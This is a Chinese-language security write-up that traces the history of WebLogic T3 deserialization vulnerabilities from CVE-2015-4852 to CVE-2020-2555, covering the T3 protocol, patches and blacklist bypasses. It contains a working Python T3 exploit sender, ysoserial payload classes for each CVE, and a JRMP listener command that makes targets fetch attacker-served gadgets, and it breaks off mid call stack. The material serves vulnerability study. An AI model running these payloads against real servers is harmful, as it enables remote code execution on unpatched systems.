0%

weblogic古老漏洞梳理

前言

原本七八月就打算学weblogic,但是总有种莫名的力量好像在阻止我学它,然后就跑去学别的框架漏洞了。这段时间发现没啥好学的,然后又想起还有weblogic这块硬骨头没啃,就跑来填坑了。

t3协议

在研究weblogic t3反序列化漏洞之前,需要先了解一下t3协议。t3协议是weblogic定制的一种协议,它专门用来为weblogic rmi提供支持。weblogic rmi与java原生提供的rmi的对比图如下,这张图非常清晰的给出了java rmi、weblogic rmi、JRMP、t3之间的关系,摘自这篇文章,同时推荐一下这篇文章,研究weblogic之前先学学这篇文章可以打下很好的基础。

image-20211102225749855

来看看weblogic rmi过程传输的数据格式,图片同样摘自这篇文章

image-20211102230311998

image-20211102230329646

仔细分析一下握手后发送的第一个数据包。可以得到t3协议的基本格式,自上往下分别是

  • 数据包长度(4字节)
  • t3协议头
  • 序列化对象魔术头(fe 01 00 00)
  • 序列化数据
  • 序列化数据魔术头(fe 01 00 00)
  • 序列化数据

image-20211102230440054

了解完t3协议格式之后,我们就可以使用socket编程,按照t3协议发送我们自定义的数据。我们将序列化数据部分更换为恶意gadget,即可触发反序列化漏洞。

CVE-2015-4852

这个洞非常古老,也非常直白。在了解完t3协议之后基本就可以实现攻击。

原理

readObject:343, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

漏洞利用的过程实际上就是构造了一个t3协议格式的数据包,里面包含着反序列化gadget。靶机收到后对数据进行反序列化,触发漏洞。

poc.obj使用ysoserial进行生成,使用CommonCollections1的gadget即可。这个版本的weblogic自带了cc依赖。

import socket
import struct
import re
import binascii
def get_payload(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data=b""
    while True:
        try:
            data += sock.recv(1024)
        except:
            break
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)
    print(payload)

if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    payload = get_payload("poc.obj")
    exp(host, port, payload)

修复

补丁:2016年1月 p21984589_1036_Generic

修复手段就是在InboundMsgAbbrev.ServerChannelInputStream::resolveClass中引入了黑名单类过滤

CVE-2016-0638

原理

在经历了2016年1月 p21984589_1036_Generic这个补丁之后,直接传反序列化gadget行不通了。需要采用一点绕过技巧。这个CVE使用了weblogic.jms.common.StreamMessageImpl这个类进行绕过。在正式分析这个CVE之前,需要先了解一下Externalizable接口。

Externalizable接口

Externalizable接口定义了两个方法:writeExternalreadExternal方法。readExternal方法与readObject有相同之处,它们俩都会在对象被反序列化时被调用。对应的,也存在writeExternal方法,与readObject类似,在对象序列化时被调用。readExternal方法的优先级比readObject高,如果同时出现,则反序列化时会调用readExternal,而不会调用readObject。在ObjectInputStream::readOrdinaryObject中可以看出,优先判断反序列化的类是否实现了Externalizable接口,如果实现了,则调用readExternalData,在这个方法中调用了反序列化对象的readExternal方法。如果没实现,则调用readSerialData,在这个方法中调用了对象的readObject方法。

image-20211103104322997

无论是readObject还是readExternal为用户提供的都是自定义反序列化的能力,通过重写二者之一,就可以按照用户自己的方式将对象进行反序列化(要与序列化过程相对应)

漏洞原理

CVE-2015-4852之后,官方的修复是在InboundMsgAbbrev.ServerChannelInputStream::resolveClass中引入了黑名单类过滤。而weblogic.jms.common.StreamMessageImpl类不在黑名单中,因此可以尝试去反序列化这个类。这个类实现了Externalizable接口,同时实现了readExternal方法自定义了反序列化的流程。

image-20211103111742560

那么我们只需要根据它反序列化的流程,反过来构造一个序列化数据就行了。注意到864行调用了ObjectInputStream::readObject,而且这里的ObjectInputStream是new出来的,完全不受InboundMsgAbbrev.ServerChannelInputStream::resolveClass黑名单的影响。

根据readExternal,自定义一个weblogic.jms.common.StreamMessageImpl类,自己实现writeExternal。主要就四步,其中第1、2步都可以在readExternal找到对应,第3步是与readExternal的856行调用的函数内部的readInt对应,第4步与readExternal的864行对应。

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {
    super.writeExternal(paramObjectOutput);//1
    paramObjectOutput.writeByte(1);//2
    paramObjectOutput.writeInt(getDataSize());//3
    paramObjectOutput.write(getDataBuffer());//4
}

漏洞利用

poc与CVE-2015-4852相同,只需要把payload.obj换成序列化的恶意weblogic.jms.common.StreamMessageImpl对象即可

import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.InvocationHandler;

public class CVE_2016_0638  implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        InvocationHandler object = commonsCollections1.getObject(command);
        byte[] serialize = Serializer.serialize(object);
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(serialize, serialize.length);
        return streamMessage;
    }


}

修复

补丁:2016年4月p22505423_1036_Generic

修复手段就是原来weblogic.jms.common.StreamMessageImpl858行创建的ObjectInputStream换成了自定义的FilteringObjectInputStream,并在其中对类进行了过滤,这里偷两张图

image-20211103121530068

image-20211103121542915

CVE-2016-3510

原理

分析这个CVE之前需要先对readResolve方法有所了解。这个方法属于一个回调方法,它会在对象反序列化过程中被调用,具体而言,在反序列化结束之前。分析过ObjectInputStream::readObject方法的师傅应该知道,对象的反序列化可以粗分为三步,在第三步结束之后,如果反序列化的类实现了readResolve方法,则会进行调用。下面这个readOrdinaryObject方法既是ObjectInputStream::readObject的底层实现。

private Object readOrdinaryObject(boolean unshared)
        throws IOException
{
    if (bin.readByte() != TC_OBJECT) {
        throw new InternalError();
    }
    //第一步:读类元信息
    ObjectStreamClass desc = readClassDesc(false);
    desc.checkDeserialize();

    Class<?> cl = desc.forClass();
    if (cl == String.class || cl == Class.class
        || cl == ObjectStreamClass.class) {
        throw new InvalidClassException("invalid class descriptor");
    }

    Object obj;
    try {
        //第二步:创建对象
        obj = desc.isInstantiable() ? desc.newInstance() : null;
    } catch (Exception ex) {
        throw (IOException) new InvalidClassException(
            desc.forClass().getName(),
            "unable to create instance").initCause(ex);
    }

    passHandle = handles.assign(unshared ? unsharedMarker : obj);
    ClassNotFoundException resolveEx = desc.getResolveException();
    if (resolveEx != null) {
        handles.markException(passHandle, resolveEx);
    }

    if (desc.isExternalizable()) {
        readExternalData((Externalizable) obj, desc);
    } else {
        //第三步:给字段赋值
        readSerialData(obj, desc);
    }

    handles.finish(passHandle);

    if (obj != null &&
        handles.lookupException(passHandle) == null &&
        desc.hasReadResolveMethod())
    {
        //调用对象的readResolve方法
        Object rep = desc.invokeReadResolve(obj);
        if (unshared && rep.getClass().isArray()) {
            rep = cloneArray(rep);
        }
        if (rep != obj) {
            // Filter the replacement object
            if (rep != null) {
                if (rep.getClass().isArray()) {
                    filterCheck(rep.getClass(), Array.getLength(rep));
                } else {
                    filterCheck(rep.getClass(), -1);
                }
            }
            handles.setObject(passHandle, obj = rep);
        }
    }

    return obj;
}

漏洞原理

在weblogic.corba.utils.MarshalledObject的readResolve中可以看到,这个方法会对objBytes字段进行反序列化,而且是新创建一个ObjectInputStream对象进行反序列化,没有任何黑名单过滤。那么我们就可以将反序列化gadget存储在MarshalledObject对象的objBytes字段中,实现攻击。

public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
    if (this.objBytes == null) {
        return null;
    } else {
        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
        ObjectInputStream var2 = new ObjectInputStream(var1);
        Object var3 = var2.readObject();
        var2.close();
        return var3;
    }
}

最后贴一下完整的调用栈

readResolve:53, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadResolve:1061, ObjectStreamClass (java.io)
readOrdinaryObject:1761, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

生成恶意对象的poc如下,需要结合ysoserial来运行。

public class CVE_2016_3510 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        InvocationHandler object = commonsCollections1.getObject(command);
        MarshalledObject marshalledObject = new MarshalledObject(object);
        return marshalledObject;
    }

}

修复

补丁:2016年10月 p23743997_1036_Generic

修复方法就是在weblogic.corba.utils.MarshalledObject的readResolve方法中创建一个匿名内部类,重写resolveClass方法,然后加上黑名单过滤,偷两张图

image-20211103131143043

image-20211103131154316

CVE-2017-3248(JRMP分水岭)

原理

这个CVE实际上跟前面几个的出发点是类似的,都是在寻找没有被过滤的危险类进行反序列化。但是这个漏洞又有特殊点,因为它的利用过程涉及到了rmi,通过反序列化一个RemoteObject(未在黑名单中),通过它的readObject触发连接JRMP服务端,然后反序列化服务端传来的序列化数据(没有过滤),导致rce。给出漏洞触发的调用栈,这里涉及到rmi的底层源码,不是本文重点,所以就不详细分析了,如果有兴趣了解,可以找找分析rmi的文章。

readObject:343, ObjectInputStream (java.io) [2] //没有过滤
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
defaultReadFields:1946, ObjectInputStream (java.io)
readSerialData:1870, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [1]
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

首先使用ysoserial启动一个JRMP服务器

java -cp ysoserial.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'calc'

然后生成恶意序列化数据。调用getObject,传入JRMP服务器的ip:port,即可得到恶意对象

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Registry.class}, obj);
        return proxy;
    }
}

将其序列化保存后得到poc.obj,然后用前面的脚本打即可

修复

补丁:p24667634_1036_Generic

修复手段是在InboundMsgAbbrev.ServerChannelInputStream中加入了黑名单过滤,过滤java.rmi.registry.Registry,偷一张图。

本文修复这部分的图都是偷的(因为找不到补丁,懒得打补丁,而且修复的方式都比较简单粗暴),图片来自李三师傅,侵删

image-20211103171855780

CVE-2018-2628

针对CVE-2017-3248的修复实际上是非常鸡肋的,笔者在学习这个洞的时候发现这个poc构造的有些莫名其妙,为什么非得用动态代理来生成一个Registry对象?实际上真正的入口应该是RemoteObject::readObject,也就是RemoteObjectInvocationHandler的父类。于是试着自己构造了一下CVE-2017-3248的poc,其实就是把动态代理的部分删了,发现也是可以打通的。

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248_1 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
}

当时也没想到,其实这个poc也可以打它修复后的版本。与本章的主角CVE-2018-2628的poc构造思路有点相似。

原理

CVE-2018-2628的原理与CVE-2017-3248相似,这里不予赘述

漏洞利用

利用手法跟CVE-2017-3248相似,这里不予赘述,只给出生成恶意对象的脚本

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_2628 implements ObjectPayload {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }
}

修复

补丁:2018年四月发布的p27395085_1036_Generic

据说是将UnicastRef加入了黑名单,可惜没拿到补丁没法细看。我的weblogic中没打补丁甚至连WebLogicFilterConfig这个类都找不到,估计是补丁里加的吧

image-20211103193708013

CVE-2018-2893

这个CVE算是将前面几个进行了一个大整合,实现了最终的绕过。用到了CVE-2016-0638的weblogic.jms.common.StreamMessageImpl,还用到了CVE-2017-3248的JRMP

原理

原理没什么好说的,该说的在前面几个CVE已经说的差不多了,这里给出调用链

readObject:343, ObjectInputStream (java.io) [3]
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
defaultReadFields:1946, ObjectInputStream (java.io)
readSerialData:1870, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [2]
readExternal:1433, StreamMessageImpl (weblogic.jms.common)
readExternalData:1791, ObjectInputStream (java.io)
readOrdinaryObject:1750, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [1]
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

值得仔细思考的有两点,这里用到的类前面的补丁不都已经ban掉了吗,怎么还能用?

之前的补丁中,在weblogic.jms.common.StreamMessageImpl::readExternal方法中,虽说是使用了FilteringObjectInputStream对反序列化数据进行过滤

image-20211103201042113

但是过滤时没有将Proxy类加入黑名单,所以这里我们可以bypass

另外,CVE-2018-2628的patch中已经将UnicastRef加入了黑名单,那为什么还能用?原因在于我们没有真正反序列化UnicastRef对象。在RemoteObject类的代码中可以看到,这里自定义了readObject,对于RemoteObject对象的ref字段(也就是UnicastRef),它并没有通过readObject来进行反序列化,而是直接通过反射new对象,所以也就不存在什么绕不绕过的问题。

image-20211103201659700

漏洞利用

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2018_2893 implements ObjectPayload {

    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, te, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        byte[] serialize = Serializer.serialize(object);
        streamMessage.setDataBuffer(serialize,serialize.length);
        return streamMessage;
    }
}

修复

补丁:18年7月 p27919965_1036_Generic

将java.rmi.server.RemoteObjectInvocationHandler和加入了WebLogicFilterConfig类的黑名单

image-20211103202522823

CVE-2018-3245

原理

这个CVE的原理没什么好分析的,跟CVE-2018-2893相同,无非是换了个类罢了

weblogic这种哪里痛医哪里的做法,不知道怎么吐槽,看到攻击者poc用了哪个类就ban哪个类,一点也不多ban,甚至都不愿意去研究研究有没有别的相似的类也能进行攻击。weblogic官方不研究,那就只能是安全狗们来研究然后就被打花了。

其实看前面的分析也能有点感悟,其实我们用RemoteObjectInvocationHandler的原因,无非就是因为它继承了RemoteObject,然后通过RemoteObject::readObject来触发后续的流程。现在RemoteObjectInvocationHandler给ban了,那我们找其他子类不就得了。还得注意子类的包名不能在WebLogicFilterConfig类的黑名单中。

贴一下师傅们找出的可以利用的类

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

除此之外,试了一下下面这个类也行

sun.management.jmxremote.SingleEntryRegistry

漏洞利用


import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_3245 implements ObjectPayload {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, te, false));
        //1
//        RMIConnectionImpl_Stub object = new RMIConnectionImpl_Stub(unicastRef);
        //2
        Constructor<?> singleEntryRegistryConstructor = Class.forName("sun.management.jmxremote.SingleEntryRegistry").getDeclaredConstructor(int.class, String.class, Remote.class);
        singleEntryRegistryConstructor.setAccessible(true);
        Object object = singleEntryRegistryConstructor.newInstance(9999, "aaa", null);
        Field ref = Class.forName("java.rmi.server.RemoteObject").getDeclaredField("ref");
        ref.setAccessible(true);
        ref.set(object,unicastRef);


        StreamMessageImpl streamMessage = new StreamMessageImpl();
        byte[] serialize = Serializer.serialize(object);
        streamMessage.setDataBuffer(serialize,serialize.length);
        return streamMessage;
    }
}

修复

补丁:2018年8月 p28343311_1036_201808Generic

修复方法是将java.rmi.server.RemoteObject加入到黑名单,加入这个就比较机智了,因为我们上面找的那些类都是RemoteObject的子类,加入这个类就有点”根除”的意味了。

image-20211103210009129

CVE-2018-3191

原理

这个漏洞利用链不太复杂,总共就四步,很直白没什么好分析的,贴一下调用栈得了。属于JNDI注入

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

需要把weblogic安装目录modules里的com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar引入到项目中

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.ObjectPayload;

public class CVE_2018_3245 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String jndiAddress = command[0];
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        return jtaTransactionManager;
    }
}

修复

补丁:2018年8月 p28343311_1036_Generic

可以看到JtaTransactionManager的父类AbstractPlatformTransactionManager被加入到了黑名单中

image-20211104120143505

后话

这里有一些困惑,为什么将父类加入黑名单也能起到防御作用?带着这个问题我再次去查看了一下ObjectInputStream::readObject的源码,找到了些许答案。

首先,在CVE-2016-3510中我们提到了,类的反序列化分为三步。在第一步:读类元信息的时候,会回调ObjectInputStream::resolveClass,也正是这个回调机制,使得我们可以在resolveClass中进行一些黑名单过滤。

image-20211104121840602

在回调完ObjectInputStream::resolveClass之后,递归调用了readClassDesc。在跟进之前,我们先记住本次调用解析到的类cl为JtaTransactionManager。

image-20211104122302574然后我们再跟进递归调用,发现递归调用解析到的类为JtaTransactionManager的父类AbstractPlatformTransactionManager。这就能说明,在反序列化过程中,父类信息也是会被当作参数传入resolveClass回调方法的。所以在resolveClass中拦截父类也是有效的。不过我这里没打补丁,所以没有拦截掉。

image-20211104122352811

CVE-2020-2555(类似CC)

原理

找漏洞的思路跟以往的CVE都是相同的,t3反序列化的入口一直存在, 我们只需要绕过黑名单找可利用的类即可。这次的CVE找到的是一条很像CC链的gadget,如果了解过CC链的,可以把这个gadget中的XXXExtractor理解为CC链中的XXXTransformer,就非常容易上手了。

下面来看看这条链子的触发过程。首先是反序列化触发BadAttributeValueExpException::readObject(这里笔者使用的jdk版本为8u144,低版本的BadAttributeValueExpException类可能没有readObject方法),由于System.getSecurityManager() == null结果为true,进入到了第二个else if中

image-20211104111832681

进而触发了LimitFilter::toString。在这个方法中调用了extractor.extract,extractor是从this.m_comparator获取的,方法参数也是从对象字段this.m_oAnchorTop获取的,也就是说这两个值我们都可以控制。

image-20211104111952395

设置this.m_comparator(即extractor)为ChainedExtractor对象,this.m_oAnchorTop为Runtime的Class对象。那么也就是会调用ChainedExtractor::extract(Class)。在这个方法中会遍历ChainedExtractor中所有的extractor(这里顾名思义,Chained的意思是链条,所以这个Extractor的作用就是将若干个extractor组合成链,保存在它的m_aExtractor字段中)。首先调用this.getExtractors()获取到链条中所有的extractor,然后循环调用extractor的extract方法。

image-20211104112351501

由于extractor链是存储在ChainedExtractor的m_aExtractor字段中的,所以我们可以控制,将它设置为这样

image-20211104112757652

我们选用的是ReflectionExtractor,这个extractor的作用就是反射调用方法,方法我们可以指定。图中分别指定的三个方法是getMethod,invoke,exec,那么如下链条的实际效果就类似

((Runtime)(Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null,new Object[0]))).exec("calc");

到这里这条链子就结束了,最后贴一下完整的调用栈

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke:-1, GeneratedMethodAccessor122 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
